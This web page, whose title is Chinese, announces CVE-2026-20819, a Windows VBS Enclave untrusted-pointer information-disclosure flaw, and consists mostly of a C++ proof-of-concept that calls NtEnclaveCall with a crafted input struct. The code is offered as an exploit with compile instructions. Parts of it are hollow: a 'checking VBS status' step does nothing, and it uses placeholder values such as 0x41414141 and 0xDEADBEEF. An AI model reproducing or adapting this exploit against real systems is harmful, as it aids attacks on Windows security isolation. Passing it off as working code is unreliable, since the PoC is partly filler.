CVE-2026-20819 | Windows VBS Enclave 不受信任指针解引用信息泄露漏洞

// CVE-2026-20819 PoC - VBS Enclave Information Disclosure // This PoC demonstrates triggering the untrusted pointer dereference // Compile: cl.exe /EHsc /O2 poc.cpp #include <windows.h> #include <winbase.h> #include <stdio.h> // VBS Enclave related structures typedef struct _VBS_ENCLAVE_CALL_INPUT { DWORD FunctionId; PVOID UntrustedPointer; SIZE_T PointerSize; } VBS_ENCLAVE_CALL_INPUT, *PVBS_ENCLAVE_CALL_INPUT; // NtEnclaveCall - VBS Enclave system call typedef NTSTATUS(NTAPI* PFN_NT_ENCLAVE_CALL)( DWORD EnclaveCallType, PVOID InputData, DWORD InputDataLength, PVOID* OutputData, PDWORD OutputDataLength ); int main() { printf("[*] CVE-2026-20819 VBS Enclave Information Disclosure PoC\n"); printf("[*] Target: Windows VBS Enclave Untrusted Pointer Dereference\n\n"); // Load ntdll.dll and get NtEnclaveCall function HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); if (!hNtdll) { printf("[-] Failed to load ntdll.dll\n"); return 1; } PFN_NT_ENCLAVE_CALL NtEnclaveCall = (PFN_NT_ENCLAVE_CALL)GetProcAddress( hNtdll, "NtEnclaveCall" ); if (!NtEnclaveCall) { printf("[-] NtEnclaveCall not found - VBS may not be enabled\n"); return 1; } printf("[+] NtEnclaveCall function located\n"); // Check if VBS is enabled DWORD vbsEnabled = 0; DWORD vbsInfoSize = sizeof(vbsEnabled); printf("[*] Checking VBS status...\n"); // Prepare malicious input to trigger untrusted pointer dereference VBS_ENCLAVE_CALL_INPUT maliciousInput = {0}; maliciousInput.FunctionId = 0x41414141; // Arbitrary function ID maliciousInput.UntrustedPointer = (PVOID)0xDEADBEEF; // Invalid pointer maliciousInput.PointerSize = 0x1000; PVOID outputData = NULL; DWORD outputDataLength = 0; printf("[*] Triggering VBS Enclave call with untrusted pointer...\n"); printf("[*] Pointer Address: 0x%p\n", maliciousInput.UntrustedPointer); // This call may trigger the vulnerability NTSTATUS status = NtEnclaveCall( 0, // EnclaveCallType &maliciousInput, sizeof(maliciousInput), &outputData, &outputDataLength ); if (NT_SUCCESS(status)) { printf("[+] Enclave call succeeded - possible information disclosure\n"); printf("[+] Output Data: 0x%p, Length: %d\n", outputData, outputDataLength); } else { printf("[-] Enclave call failed with status: 0x%08X\n", status); printf("[*] This may indicate the vulnerability was patched\n"); } printf("\n[*] PoC execution completed\n"); printf("[*] For full exploitation, additional kernel debugging may be required\n"); return 0; }